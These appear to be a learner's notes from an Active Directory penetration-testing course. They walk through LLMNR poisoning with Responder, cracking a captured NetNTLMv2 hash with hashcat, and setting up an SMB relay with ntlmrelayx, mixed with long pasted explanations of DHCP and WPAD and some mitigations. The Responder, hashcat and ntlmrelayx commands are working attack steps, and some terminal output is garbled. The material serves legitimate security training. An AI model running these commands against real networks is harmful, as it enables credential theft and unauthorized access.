

90.00 - Intro

The scenario here is: Imagine we are doing an assessment. What typically happens is, "we would be sending the client a laptop and on that laptop there is a VPN connection that when plugged in "phones" home. We are able to connect to that VPN connection and share that tunnel. So, then we can run these attacks while having the laptop without the need to travel on site." Heath Adams.

We are assuming we already have an initial access (Internal Pentesting). So, a computer/account/system has already been compromised/exploited. This would be the privilege escalation type of Pentesting in an Active Directory Domain.

Before starting exploiting the domain, we need to set our attack machine IP Address, in my case Kali Linux, to the same Network where our lab is set up. Meaning we need to set our IP Address to be in the same network as the Windows Server 2022 (Domain Controller), and the Client Machines. Make sure all machines (DC, Clients, and Attacker Machine) are set to NAT in the Virtual Machine settings.

First, check if your attacker machine is not already in the same network. If it is set to NAT in the Virtual Machine settings, then most likely it will be in the same network as the Domain. If you suspect you are, but you are not sure. Get the IP Address of the DC, and the Clients. Go to your attacker machine, and issue an arp scan. The command to do so in Kali Linux is : "#sudo arp-scan -l".

This will probe for machines in the same network, and will show the ones encountered. You should recognize the IP Addresses listed. Don't worry about .1, and .254 .

90.01 - LLMNR - Poisoning Overview

LLMNR Poisoning

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What is LLMNR?

- Used to identify hosts when DNS fails to do so.
- Previously NBT-NS
- Key flaw is that the services utilize a user's username and NTLMv2 hash when appropriately responded to




TCM Security

LLMNR Poisoning

Overview

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
LLMNR Poisoning

Step 1: Run Responder

sudo responder -I tun0 -dWP

```
root@kali:~/Downloads# python /usr/share/responder/Responder.py -I tun0 -rdw -v
[+] LLMNR & MDNS Responder 2.3.3.9
[+] Author: Laurent Gaffie (laurent.gaffie@gmail.com)
[+] To kill this script hit CTRL-C
[!] Warning: files/AccessDenied.html: file not found
[!] Warning: files/BindShell.exe: file not found
[+] Poisoners:
    LLMMNR           [ON]
    NBT-NS           [ON]
    DNS/MDNS         [ON]
[+] Servers:
    HTTP server      [ON]
    HTTPS server     [ON]
    WPAD proxy       [OFF]
    Auth proxy        [ON]
    SMB server       [ON]
    Kerberos server  [ON]
    SQL server        [ON]
    FTP server        [ON]
    IMAP server       [ON]
    POP3 server       [ON]
    SMTP server       [ON]
    DNS server        [ON]
    LDAP server       [ON]
[+] HTTP Options:
    Always serving EXE [OFF]
    Serving EXE        [OFF]
    Serving HTML        [OFF]
    Upstream Proxy     [OFF]
[+] Poisoning Options:
    Analyze Mode      [OFF]
    Force WPAD auth   [OFF]
    Force Basic Auth   [OFF]
    Force LM downgrade [OFF]
    Fingerprint hosts [OFF]
```

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LLMNR Poisoning

Step 2: An Event Occurs...

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Step 3: Get Dem Hashes

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LLMNR Poisoning

Step 4: Crack Dem Hashes
hashcat -m 5600 hashes.txt rockyou.txt

90.02 - LLMNR - Responder Overview

Responder is a popular open-source tool used in penetration testing to analyze and exploit vulnerabilities in network protocols. It is specifically designed to work in local area networks (LANs) and is highly effective in capturing and relaying credentials using various spoofing and poisoning techniques. Here's a detailed overview of what Responder is and how it works:

Overview of Responder

Responder is a tool developed by Laurent Gaffié that targets and exploits weaknesses in protocol implementations such as LLMNR (Link-Local Multicast Name Resolution), NBT-NS (NetBIOS Name Service), and MDNS (Multicast DNS) on a network. These protocols are often used in networks for name resolution when DNS fails, making them susceptible to certain types of attacks.

Key Features

- **Protocol Spoofing:** Responder can spoof several protocols to gather sensitive information. This includes LLMNR, NBT-NS, MDNS, DNS, and others. By pretending to be the legitimate responder to requests, the tool can capture valuable data.
- **Credential Harvesting:** One of the main goals of Responder is to capture hashes (e.g., NTLMv2 hashes) that can be used for offline cracking or pass-the-hash attacks. It does this by tricking clients into sending their authentication information to the attacker's machine.
- **HTTP/HTTPS Server:** Responder includes a built-in HTTP/HTTPS server that can capture credentials by serving fake authentication pages to unsuspecting users.
- **SMB Relay:** The tool supports SMB relay attacks, allowing attackers to relay captured credentials to another server to gain unauthorized access.
- **Support for Various Protocols:** Responder can interact with several protocols, including SMB, HTTP, HTTPS, FTP, LDAP, and others. This broad protocol support makes it versatile in various network environments.

How Responder Works


1. **Listening for Requests:** Responder listens for name resolution requests sent out by clients on the network. These requests are typically broadcast when a client cannot resolve a hostname using DNS.
2. **Spoofing Responses:** When a request is detected, Responder spoofs a response, pretending to be the legitimate server. For example, if a machine is looking for a particular service, Responder can pretend to be that service.
3. **Capturing Credentials:** Once the client believes it has connected to the correct server, it may send credentials for authentication. Responder captures these credentials, which can include NTLMv2 hashes or plaintext usernames and passwords, depending on the configuration of the network and the protocol used.
4. **Exploiting Captured Data:** After capturing credentials, attackers can use them in various ways. They might perform offline cracking to reveal plaintext passwords or use techniques like pass-the-hash to access other network resources without knowing the actual password.

Usage in Penetration Testing

Responder is widely used in penetration testing engagements to demonstrate the risks associated with weak protocol implementations and improper network configurations. Here's how it typically fits into a pentesting scenario:

- **Reconnaissance Phase:** During the reconnaissance phase, testers use Responder to identify hosts on the network that respond to LLMNR, NBT-NS, and MDNS queries.
- **Exploitation:** After identifying vulnerable hosts, Responder is used to capture and analyze authentication requests. This step might involve setting up specific attacks based on the network's characteristics, such as SMB relay or HTTP NTLM capturing.
- **Reporting:** The data captured by Responder is valuable for reporting vulnerabilities to clients, highlighting how attackers can exploit weak configurations to gain unauthorized access.

We are going to use Responder:



```
(kali㉿kali)-[~]
$ sudo responder -I eth0 -dwP
```

Flags used : -dwP

-d stands for DHCP

-w stands for WPAD

-P stands for "Proxy Auth". Description is "Forces NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON.

-v this is for verbose. If you have already captured a particular hash, Responder wont show the captured hash, only that it is already stored. So, lets add this flag as well.

DHCP Overview:



Response 1

DHCP (Dynamic Host Configuration Protocol) is a network management protocol used to automate the process of configuring devices on IP networks, enabling them to use network services like DNS, NTP, and any communication protocol based on UDP or TCP. Here's an overview of DHCP, including its purpose, how it works, its components, and its benefits.

Overview of DHCP

Purpose

The primary purpose of DHCP is to assign IP addresses and other network configuration parameters to devices (clients) on a network automatically. This eliminates the need for network administrators to manually assign IP addresses to each device, reducing the potential for errors and simplifying network management.

Components

1. **DHCP Server:** A network server that automatically provides and assigns IP addresses, default gateways, and other network parameters to client devices.
2. **DHCP Client:** Any device that connects to the network and requests configuration information from the DHCP server. This includes computers, smartphones, printers, and any device that requires an IP address to function on a network.
3. **DHCP Relay Agent:** A network device that forwards DHCP requests from clients to servers when the clients and the server are not on the same physical subnet.
4. **DHCP Lease:** The period during which a DHCP server assigns an IP address to a client. Once the lease expires, the client must request a new IP address, although it often attempts to renew its existing lease before expiration.

How DHCP Works

Here's a step-by-step explanation of how the DHCP process typically works:

1. **Discover:** When a client device wants to join a network, it broadcasts a DHCP Discover message to identify any available DHCP servers.
2. **Offer:** The DHCP server receives the Discover message and responds with a DHCP Offer message, which includes an available IP address and other configuration details such as the subnet mask, gateway address, and DNS server addresses.
3. **Request:** Upon receiving an offer, the client sends a DHCP Request message back to the server, indicating its acceptance of the offered IP address.
4. **Acknowledge:** The server responds with a DHCP Acknowledgment (ACK) message, confirming the lease of the IP address to the client. The client can now use the IP address and other provided configurations to communicate on the network.
5. **Lease Renewal:** Before the lease expires, the client attempts to renew it by sending a DHCP Request message to the server, which can either extend the lease or assign a new IP address.

Key Features

- **Automatic IP Assignment:** DHCP automatically assigns IP addresses from a defined range (scope) to client devices on a network, eliminating the need for manual configuration.
- **IP Address Management:** DHCP dynamically manages IP address allocation, ensuring efficient use of available addresses and preventing conflicts.
- **Support for BOOTP:** DHCP is an extension of BOOTP (Bootstrap Protocol), providing backward compatibility for older devices and networks.
- **Support for Multiple Networks:** DHCP can manage multiple scopes and subnets, making it suitable for large and complex network environments.

Benefits of DHCP

1. **Simplicity:** DHCP simplifies the process of connecting devices to a network by automating IP address assignment and configuration, reducing administrative overhead.
2. **Efficiency:** Automatic IP address management prevents IP address conflicts and ensures efficient use of network resources.
3. **Scalability:** DHCP can support networks of any size, from small home networks to large enterprise environments with thousands of devices.
4. **Flexibility:** DHCP allows network administrators to change network configurations without manually updating each device, enabling easy adaptation to changing network requirements.
5. **Centralized Management:** DHCP servers centralize network configuration, making it easier to manage and monitor network settings.

Example Configuration

Here's an example of a basic DHCP configuration for a home network:

- IP Address Range: 192.168.1.100 to 192.168.1.200
- Subnet Mask: 255.255.255.0
- Default Gateway: 192.168.1.1
- DNS Servers: 8.8.8.8, 8.8.4.4
- Lease Time: 24 hours

DHCP Server Configuration Example

Here's a basic example of how to configure a DHCP server using a popular server like ISC DHCP on a Linux system. This example sets up a DHCP server for a simple local network.

ISC DHCP Configuration Example

1. Install the DHCP Server

Install the ISC DHCP server package using a package manager. On a Debian-based system, use the following command:

```
bash Copy code
sudo apt-get install isc-dhcp-server
```

2. Edit the DHCP Configuration File

Open the DHCP configuration file in a text editor. The file is usually located at `/etc/dhcp/dhcpd.conf`.

```
bash                                         ⌂ Copy code
sudo nano /etc/dhcp/dhcpd.conf
```

3. Define Global Settings

Define global settings that apply to all subnets.

```
plaintext                                     ⌂ Copy code
# Global settings
option domain-name "example.com";
option domain-name-servers ns1.example.com, ns2.example.com;
default-lease-time 600;
max-lease-time 7200;
```

4. Configure a Subnet

Configure a subnet, specifying the range of IP addresses to be assigned, the network mask, the default gateway, and other options.

```
plaintext                                     ⌂ Copy code
# Subnet configuration
subnet 192.168.1.0 netmask 255.255.255.0 {
    range 192.168.1.100 192.168.1.200;
    option routers 192.168.1.1;
    option subnet-mask 255.255.255.0;
    option broadcast-address 192.168.1.255;
    option domain-name-servers 8.8.8.8, 8.8.4.4;
    default-lease-time 600;
    max-lease-time 7200;
}
```

5. Assign Static IP Addresses (Optional)

Optionally, assign static IP addresses to specific devices using their MAC addresses.

```
plaintext                                     ⌂ Copy code
# Static IP assignment
host Printer {
    hardware ethernet 00:11:22:33:44:55;
    fixed-address 192.168.1.50;
}
```

6. Start the DHCP Server

Start the DHCP server using the following command:

```
bash Copy code  
sudo service isc-dhcp-server start
```

7. Check the Status

Check the status of the DHCP server to ensure it's running correctly:

```
bash                                         ⚒ Copy code
sudo service isc-dhcp-server status
```

8. Configure the DHCP Relay (Optional)

If your DHCP server is on a different subnet than your clients, you may need to configure a DHCP relay agent to forward requests.

```
plaintext Copy code  
  
# DHCP relay configuration  
  
interface eth0 {  
    server 192.168.2.1; # DHCP server IP address  
    listen on 192.168.1.0; # Subnet where the relay listens  
}
```

This configuration example demonstrates how to set up a DHCP server to provide dynamic IP address allocation for a simple network, with optional static IP assignments for specific devices.

Security Considerations

While DHCP is a convenient and powerful protocol, it does have some security considerations:

- **DHCP Spoofing:** Attackers can set up rogue DHCP servers to provide malicious configurations to clients, potentially redirecting traffic or capturing sensitive information. Implementing DHCP Snooping on network switches can mitigate this risk.
 - **IP Address Exhaustion:** Without proper management, a network could run out of available IP addresses if leases are not reclaimed promptly. Proper lease management and monitoring can help prevent this issue.
 - **Lack of Authentication:** DHCP lacks built-in authentication mechanisms, making it vulnerable to unauthorized devices requesting IP addresses. Network Access Control (NAC) solutions can help enforce authentication before assigning IP addresses.

Conclusion

DHCP is an essential protocol for modern networks, providing efficient and automated management of IP addresses and configurations. By understanding its operation and benefits, network administrators can effectively manage their networks and ensure seamless connectivity for all devices.

Key Features of DHCP

1. **Automatic IP Address Assignment:** DHCP automatically assigns IP addresses to devices (clients) on a network, reducing the need for manual configuration.
2. **Centralized Management:** Network administrators can manage all IP address allocations from a central DHCP server, simplifying the administration of large networks.
3. **Configuration Parameters Distribution:** Besides IP addresses, DHCP can also assign other network configuration parameters, such as subnet masks, default gateways, DNS servers, and more.
4. **Lease Concept:** DHCP assigns IP addresses based on leases, meaning each IP address is assigned for a specific period. When the lease expires, the client must request a renewal, which helps in the efficient reuse of IP addresses.

How DHCP Works

The DHCP process consists of several steps, often summarized by the acronym DORA:

1. **Discovery:** When a device connects to a network, it broadcasts a `DHCPDISCOVER` message to identify available DHCP servers.
2. **Offer:** DHCP servers on the network respond with a `DHCPOFFER` message, offering an IP address to the client.
3. **Request:** The client responds to the first `DHCPOFFER` it receives with a `DHCPCREQUEST` message, indicating that it has accepted the offer.
4. **Acknowledgment:** The DHCP server confirms the lease assignment with a `DHCPCACK` message. At this point, the client can use the assigned IP address and network configuration parameters.

DHCP Packet Structure

A DHCP packet is structured similarly to a BOOTP packet, with additional options to support DHCP functionalities. Key fields in a DHCP packet include:

- **op:** Message type (1 for request, 2 for reply)
- **htype:** Hardware address type (e.g., Ethernet)
- **hlen:** Hardware address length (e.g., 6 for Ethernet)
- **hops:** Number of relay agent hops from client to server
- **xid:** Transaction ID, a random number chosen by the client
- **secs:** Seconds elapsed since client began address acquisition
- **flags:** Flags, including a broadcast flag
- **ciaddr:** Client IP address (if already assigned)
- **yiaddr:** 'Your' (client) IP address
- **siaddr:** IP address of the next server to use in the bootstrap process
- **giaddr:** Relay agent IP address
- **chaddr:** Client hardware address
- **sname:** Optional server host name
- **file:** Boot file name

Benefits of DHCP

- **Simplifies Management:** Reduces the administrative burden of manually configuring IP addresses.
- **Prevents IP Conflicts:** Automatically manages IP address allocation, minimizing conflicts.
- **Flexibility:** Easily accommodates network changes, such as adding or removing devices.
- **Scalability:** Supports large networks with dynamic address allocation and reallocation.

Common DHCP Configuration Options

- **IP Address:** The unique address assigned to the client.
- **Subnet Mask:** Defines the network and host portions of the IP address.
- **Default Gateway:** The router that forwards traffic to destinations outside the local network.
- **DNS Servers:** Servers that resolve domain names to IP addresses.
- **Lease Time:** Duration for which the IP address is leased to the client.



DHCP Security Considerations

While DHCP simplifies network management, it also introduces some security concerns:

- **DHCP Snooping:** Protects against rogue DHCP servers by validating DHCP messages received from untrusted sources.
- **IP Address Allocation Attacks:** Attackers can exhaust the available pool of IP addresses by flooding the network with bogus DHCP requests.
- **Man-in-the-Middle Attacks:** Rogue DHCP servers can provide malicious configuration information to clients, redirecting their traffic for interception or manipulation.

Conclusion

DHCP is a vital protocol for the dynamic management of IP addresses and network configurations. It greatly simplifies the administration of networked devices, reduces the risk of IP address conflicts, and adapts to changes in the network environment. By automating the configuration process, DHCP allows network administrators to efficiently manage and scale their networks while ensuring that devices can easily connect and communicate.

WPAD:

WPAD (Web Proxy Auto-Discovery) is a protocol that allows network clients to automatically discover proxy configuration settings, such as the address of a proxy server. WPAD is commonly used in enterprise environments to simplify the process of configuring web browsers to use proxy servers.

However, WPAD is vulnerable to certain attacks, particularly when combined with DHCP and DNS spoofing. A rogue WPAD proxy server attack can intercept and manipulate network traffic, leading to severe security risks. Here's a detailed explanation of how WPAD works, the risks involved, and how to mitigate these risks.

How WPAD Works

1. **Automatic Proxy Discovery:** WPAD allows devices to automatically locate and configure a proxy server by looking for a specific file, typically called `wpad.dat`, hosted on a web server. This file contains the proxy configuration script.
2. **Discovery Mechanisms:**
 - **DHCP:** WPAD clients can request the location of the `wpad.dat` file using DHCP option 252.
 - **DNS:** WPAD clients perform DNS lookups for the hostname `wpad` in their local domain to find the proxy configuration file.
3. **Proxy Auto-Configuration (PAC) File:** The `wpad.dat` file is essentially a Proxy Auto-Configuration (PAC) file containing JavaScript that instructs the browser on how to route traffic through the proxy server.

WPAD Rogue Proxy Server Attack

In a rogue proxy server attack, an attacker exploits WPAD to redirect network traffic through a malicious proxy server. Here's how such an attack might occur:

Attack Steps

1. **Network Access:** The attacker gains access to a target network, often via a wireless connection or through compromised devices.
2. **DHCP Spoofing:** The attacker sets up a rogue DHCP server to provide WPAD information (using option 252) that points to a malicious proxy server.
3. **DNS Spoofing:** Alternatively, the attacker uses DNS spoofing to respond to DNS queries for `wpad.<domain>` with the IP address of the rogue server.
4. **Serving Malicious PAC File:** The attacker's server hosts a malicious `wpad.dat` file that contains instructions to route traffic through the attacker's proxy.
5. **Interception and Manipulation:** As clients unknowingly configure themselves to use the rogue proxy, the attacker intercepts, monitors, and potentially manipulates network traffic.

Potential Impacts

- **Data Interception:** Sensitive information such as usernames, passwords, and cookies can be captured.
- **Traffic Manipulation:** The attacker can alter the content of web pages, inject malware, or redirect users to phishing sites.
- **Credential Harvesting:** Attackers may capture authentication credentials for various services.
- **Malware Distribution:** The rogue proxy can deliver malware to clients by redirecting legitimate downloads to malicious files.

Mitigating WPAD Rogue Proxy Attacks

To protect against WPAD rogue proxy attacks, consider the following countermeasures:

Disable WPAD

- **Disable WPAD in Browsers:** Manually configure browsers to use specific proxy settings rather than relying on automatic discovery.
- **Disable WPAD in Operating Systems:** Ensure that WPAD is disabled in network settings on all devices.

Network Security

- **DHCP Snooping:** Implement DHCP snooping on network switches to prevent unauthorized DHCP servers from operating on the network.
- **DNS Security:** Use DNSSEC to protect against DNS spoofing and ensure the integrity of DNS responses.
- **Network Segmentation:** Isolate guest networks from critical infrastructure to reduce attack vectors.

DNS and DHCP Configuration

- **Restrict WPAD Hostnames:** Configure DNS to not resolve the `wpad` hostname in your domain or use wildcard DNS entries that point to legitimate servers only.
- **Secure DHCP Servers:** Ensure only authorized DHCP servers are running and configure them to provide legitimate WPAD information or none at all.

User Awareness and Training

- **Educate Users:** Train employees about the risks of connecting to untrusted networks and the importance of secure web browsing practices.

Monitoring and Detection

- **Network Monitoring:** Continuously monitor network traffic for signs of rogue DHCP and DNS activities.
- **Intrusion Detection Systems (IDS):** Deploy IDS to detect and alert on suspicious network behavior related to WPAD.

Conclusion

While WPAD provides a convenient way to manage proxy settings, it also introduces vulnerabilities that can be exploited by attackers through rogue proxy server attacks. By understanding how WPAD works and implementing robust security measures, organizations can mitigate the risks associated with WPAD and protect their networks from potential threats.



ProxyAuth Overview:

Purpose of the ` -P` Flag

The ` -P` or ` --ProxyAuth` flag in Responder is designed to capture proxy authentication attempts by leveraging the WPAD protocol. Here's how it works:

- **WPAD Exploitation:** WPAD is a protocol that allows clients on a network to automatically discover and configure proxy settings. When the ` -P` flag is enabled, Responder sets up a rogue WPAD server to respond to WPAD queries from client machines.
- **Proxy Authentication Capture:** By responding to WPAD queries, Responder provides a proxy configuration that points to itself. When clients attempt to use the rogue proxy, they send their authentication credentials (such as NTLM hashes) to Responder.
- **Credential Harvesting:** The captured credentials can then be used for further attacks, such as offline password cracking or pass-the-hash attacks, allowing the attacker to gain unauthorized access to network resources.

How the ` -P` Flag Works

Here's a step-by-step breakdown of what happens when you use the ` -P` flag with Responder:

1. **Responder Setup:** You start Responder with the ` -P` flag to enable proxy authentication capturing.

```
bash                                     ⚒ Copy code
sudo python3 Responder.py -I eth0 -P
```

Replace `eth0` with your network interface.

2. **WPAD Response:** Responder listens for WPAD requests from clients and responds with a malicious proxy configuration pointing to the attacker's machine.
3. **Client Configuration:** When a client machine attempts to access the internet or network resources, it uses the provided proxy settings. The browser or application sends proxy authentication credentials to the rogue proxy (Responder).
4. **Credential Capture:** Responder captures the proxy authentication credentials, typically NTLM hashes, for further exploitation.
5. **Analysis and Exploitation:** The attacker analyzes the captured credentials to crack passwords or perform other attacks on the network.

Mitigating WPAD and Proxy Auth Attacks

To protect against attacks using WPAD and rogue proxy servers, consider the following security measures:

1. **Disable WPAD:** If WPAD is not required, disable it on all network clients and browsers to eliminate the attack surface.
2. **Secure Proxy Configurations:** Use manual proxy configurations or authenticated proxies that do not rely on automatic discovery.
3. **Implement DNS Security:** Use DNSSEC to secure DNS responses and prevent spoofing attacks.
4. **Enable Network Segmentation:** Isolate sensitive areas of the network to limit the impact of potential attacks.
5. **Educate Users:** Train users to recognize suspicious network behavior and report potential security incidents.
6. **Monitor Network Traffic:** Regularly monitor network traffic for anomalies that may indicate a rogue proxy or unauthorized WPAD responses.
7. **Deploy Security Solutions:** Use intrusion detection systems (IDS) and other security solutions to detect and alert on potential WPAD exploitation attempts.

90.03 - LLMNR - Capturing Hashes with Responder

At this point, we need to have all machines up and running.

We are going to capture password hashes with Responder.

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab]
$ cat targets_ip.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:b8:6e:5b, IPv4: 192.168.163.133
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) What's wrong?
192.168.163.1 00:50:56:c0:00:08 VMware, Inc.
192.168.163.2 00:50:56:fa:89:5f VMware, Inc.
192.168.163.152 00:0c:29:45:3f:89 VMware, Inc.
192.168.163.153 00:0c:29:f4:56:a3 VMware, Inc.
192.168.163.154 00:0c:29:b9:95:86 VMware, Inc.
192.168.163.254 00:50:56:f2:f6:d9 VMware, Inc.

6 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.043 seconds (125.31 hosts/sec). 6 responded
View Tag Cloud
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
        inet 127.0.0.1/8 scope host lo
            valid_lft forever preferred_lft forever
        inet6 ::1/128 scope host noprefixroute
            valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:0c:29:b8:6e:5b brd ff:ff:ff:ff:ff:ff
        inet 192.168.163.133/24 brd 192.168.163.255 scope global dynamic noprefixroute eth0
            valid_lft 1189sec preferred_lft 1189sec
        inet6 fe80::675c:ab07:b917:5749/64 scope link noprefixroute
            valid_lft forever preferred_lft forever
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab]
$
```

Make sure to be in the right network. We are in the same subnet, so we are good to go.

Run: "#sudo responder -l eth0 - dwPv"

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab]
$ sudo responder -I eth0 -dwPv
[sudo] password for kali:
└── [File System] └── [linux] └── [privh...]
    └── [ADBreach]
        └── [OpacityRoom]

NBT-NS, LLMNR & MDNS Responder 3.1.4.0

To support this project:
Github → https://github.com/sponsors/lgandx
Paypal → https://paypal.me/PythonResponder
Home exploitc... BoilerCTF... TCM-Active... PraticalEth...
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

You cannot use WPAD server and Proxy_Auth server at the same time, choose one of them.
```

I ran separately:

```
(kali㉿kali)-[~]
$ sudo responder -I eth0 -dwv
[sudo] password for kali:
└── [File System] └── [linux] └── [privh...]
    └── [ADBreach]
        └── [OpacityRoom]

NBT-NS, LLMNR & MDNS Responder 3.1.4.0


To support this project:
Github → https://github.com/sponsors/lgandx
Paypal → https://paypal.me/PythonResponder
Active...
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
└── [LLMNR] [ON]   codeShell.c   boo[ON] eX...
    ├── [NBT-NS] [ON]
    ├── [MDNS] [ON]
    ├── [DNS] [ON]
    └── [DHCP] [ON]

[+] Servers:
    ├── [HTTP server] shadow.txt   exp[ON] lIn...
    ├── [HTTPS server] [ON]
    ├── [WPAD proxy] [ON]
    ├── [Auth proxy] [OFF]
    └── [SMB server] [ON]
```

I got the hashes from the second one, which should be the image above ("#sudo responder -l eth0 -dPv").

To generate traffic, login as kfunks. Go to "File Explorer" > Request the following:



This basically is the attack.

Last part is to crack this hash.

Copy that hash to a separate file.

```
(kali㉿kali)-[~/Desktop/TCM-ActiveDirectory-Lab]
$ hashcat --help | grep NTLM
 5500 | NetNTLMv1 / NetNTLMv1+ESS
 27000 | NetNTLMv1 / NetNTLMv1+ESS (NT)
5600 | NetNTLMv2
 27100 | NetNTLMv2 (NT)
 1000 | NTLM
```



5500 Net NTLMv1 / Net NTLMv1+ESS	Network Protocol
27000 Net NTLMv1 / Net NTLMv1+ESS (NT)	Network Protocol
5600 Net NTLMv2	Network Protocol
27100 Net NTLMv2 (NT)	Network Protocol
1000 NTLM	Operating System

To be able to run this attack, I had to allocate 4gb of ram for my kali. So, just keep that in mind if you are getting an error message saying "not enough memory to run the attack" or something to that matter.

```
0:Password1

Session.....: hashcat
Status.....: Cracked  exploitVuln...
Hash.Mode....: 5600 (NetNTLMv2)
Hash.Target...: KFUNKS::CP0:bc03d4d6d24ea31f:545a998c098700175d655e ... 000000
Time.Started...: Thu Jul 25 19:43:41 2024 (0 secs)
Time.Estimated.: Thu Jul 25 19:43:41 2024 (0 secs)
Kernel.Feature.: Pure Kernel
Guess.Base....: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue....: 1/1 (100.00%)
Speed.#1.....: 469.3 kH/s (0.58ms) @ Accel:256 Loops:1 Thr:1 Vec:8
Recovered.....: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.....: 4096/14344385 (0.03%)
Rejected.....: 0/4096 (0.00%)
Restore.Point...: 3072/14344385 (0.02%)
Restore.Sub.#1.: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1...: adriano → oooooo
Hardware.Mon.#1.: Util: 25%

Started: Thu Jul 25 19:43:36 2024
Stopped: Thu Jul 25 19:43:42 2024
```

Cracked: Password1.

Keep in mind, we want to have our password cracker in bare metal to use the graphics card resources.

There is also the .potfile in case the hash has already been cracked. And we can use the "--show" parameter to show those.

```
[kali㉿kali]:~/Desktop/TCM-ActiveDirectory-Lab]
$ hashcat -m 5000 hashes.txt /usr/share/wordlists/rockyou.txt
hashcat (v6.2.0) starting

OpenCL API (OpenCL 3.0 PoCL 4.0-debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.7, SLEEP, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz, 1432/2928 MB (512 MB allocatable), 4MCU

Maximum password length supported by kernel: 0
Maximum password length supported by kernel: 256

INFO: All hashes found as ptfile and/or empty entries! Use -show to display them.

Started: Thu Jul 25 19:47:55 2024
Stopped: Thu Jul 25 19:47:55 2024

[kali㉿kali]:~/Desktop/TCM-ActiveDirectory-Lab]
$ ./check.py --hashes hashes.txt --wordlist /usr/share/wordlists/rockyou.txt --show
the quieter you become, the more you are able to hear"

```

OneRuleToRuleThemAll.

For the real world, keep in mind the location of the company you are pentesting. If there are any sports teams, we could use a password list specific for that region. In other words, if we had a specific team that were very famous in that region, we could use a password list that had different combinations of password with that team name.

90.04 - LLMNR Poisoning Mitigations



LLMNR Poisoning

Mitigation

The best defense in this case is to disable LLMNR and NBT-NS.

- To disable LLMNR, select "Turn OFF Multicast Name Resolution" under Local Computer Policy > Computer Configuration > Administrative Templates > Network > DNS Client in the Group Policy Editor.
- To disable NBT-NS, navigate to Network Connections > Network Adapter Properties > TCP/IPv4 Properties > Advanced tab > WINS tab and select "Disable NetBIOS over TCP/IP".

If a company must use or cannot disable LLMNR/NBT-NS, the best course of action is to:

- Require Network Access Control.
- Require strong user passwords (e.g., >14 characters in length and limit common word usage). The more complex and long the password, the harder it is for an attacker to crack the hash.

Very straight forward. Just follow instruction. We are going to do this in the "Group Policy Management", which is the place where all the policies are set.

90.05 - SMB Relay Attacks Overview



SMB Relay

What is SMB Relay?

Instead of cracking hashes gathered with Responder, we can instead relay those hashes to specific machines and potentially gain access

Requirements

- SMB signing **must be disabled or not enforced** on the target
- Relayed user credentials must be admin on machine for any real value

Pay attention to the Requirements.

-SMB signing by default is not enabled or enforced on workstations, but it is enabled and enforced on servers by default. We can check this in the network somehow.

-Relayed user credentials must be admin on that local machine, otherwise not real value.

How do we identify it in the scans?

```
(kali㉿kali)-[~]
└─$ nmap --script=smb2-security-mode.nse -p445 10.0.0.25
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-19 13:07 EDT
Nmap scan report for 10.0.0.25
Host is up (0.090s latency).

PORT      STATE SERVICE
445/tcp    open  microsoft-ds

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Nmap done: 1 IP address (1 host up) scanned in 0.78 seconds
```

Identify Hosts Without SMB Signing

nmap --script=smb2-security-mode.nse -p445 10.0.0.0/24

≡ TCM Security

Before we can attack this, we need to configure Responder:

This is how it should look like.

SMB Relay

Step 1: Run Responder

sudo mousepad /etc/responder/Responder.conf



The screenshot shows the Responder Core configuration window. The configuration file is named "Responder.conf" and is located at "/usr/share/responder". The window has tabs for "Open", "Save", and other options. The configuration text is as follows:

```
[Responder Core]
; Servers to start
SQL = On
SMB = Off
Kerberos = On
FTP = On
POP = On
SMTP = On
IMAP = On
HTTP = Off
HTTPS = On
DNS = On
LDAP = On
```

≡ TCM Security

Then, we can run Responder:



```

root@kali:/usr/share/responder# python Responder.py -I tun0 -rdw -v
[...]
NBT-NS, LLINR & MDNS Responder 2.3.3.9
Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
LLINR [ON]
NBT-NS [ON]
DNS/MDNS [ON]

[+] Servers:
HTTP server [OFF]
HTTPS server [ON]
WPAD proxy [ON]
Auth proxy [OFF]
SMB server [OFF]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]

```

TCM Security

SMB Relay

Step 2: Run Responder

`sudo responder -I tun0 -dwP`

Then, we set up another tool called "ntlmrelayx.py":



```

(kali㉿kali)-[~]
$ ntlmrelayx.py -tf targets.txt -smb2support
Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation
[*] Protocol Client SMB loaded..
[*] Protocol Client SMTP loaded..
/usr/share/offsec-awae-wheels/pyOpenSSL-19.1.0-py2.py3-none-any.whl,
onWarning: Python 2 is no longer supported by the Python core team.
raphy, and will be removed in the next release.
[*] Protocol Client MSSQL loaded.. no Try
[*] Protocol Client HTTPS loaded.. no all file
[*] Protocol Client HTTP loaded.. no in the
[*] Protocol Client IMAP loaded.. no when
